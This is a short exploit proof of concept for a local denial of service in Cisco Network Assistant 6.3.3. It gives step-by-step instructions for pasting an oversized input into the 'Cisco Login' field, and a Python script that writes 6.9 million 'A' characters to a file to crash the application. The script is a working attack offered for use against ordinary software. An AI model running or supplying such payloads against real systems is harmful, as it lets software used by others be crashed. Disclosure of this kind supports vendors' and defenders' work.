Cisco Network Assistant 6.3.3 Denial Of Service

`# Exploit Title: Cisco Network Assistant 6.3.3 - 'Cisco Login' Denial of Service (PoC)  
# Discovery by: Luis Martinez  
# Discovery Date: 2018-08-27  
# Vendor Homepage: https://www.cisco.com/  
# Software Link : https://software.cisco.com/download/home/286277276/type/280775097/release/6.3.3  
# Tested Version: 6.3.3  
# Vulnerability Type: Denial of Service (DoS) Local  
# Tested on OS: Windows 10 Pro x64 es  
  
# Steps to Produce the Crash:   
# 1.- Run python code : python Cisco_Network_Assistant_6.3.3.py  
# 2.- Open Cisco_Network_Assistant_6.3.3.txt and copy content to clipboard  
# 3.- Open Cisco Network Assistant  
# 4.- Authenticate to Cisco CCO  
# 5.- Paste ClipBoard on "Cisco Login"  
# 6.- Crashed  
  
#!/usr/bin/env python  
  
buffer = "\x41" * 6900000  
f = open ("Cisco_Network_Assistant_6.3.3.txt", "w")  
f.write(buffer)  
f.close()  
  
  
`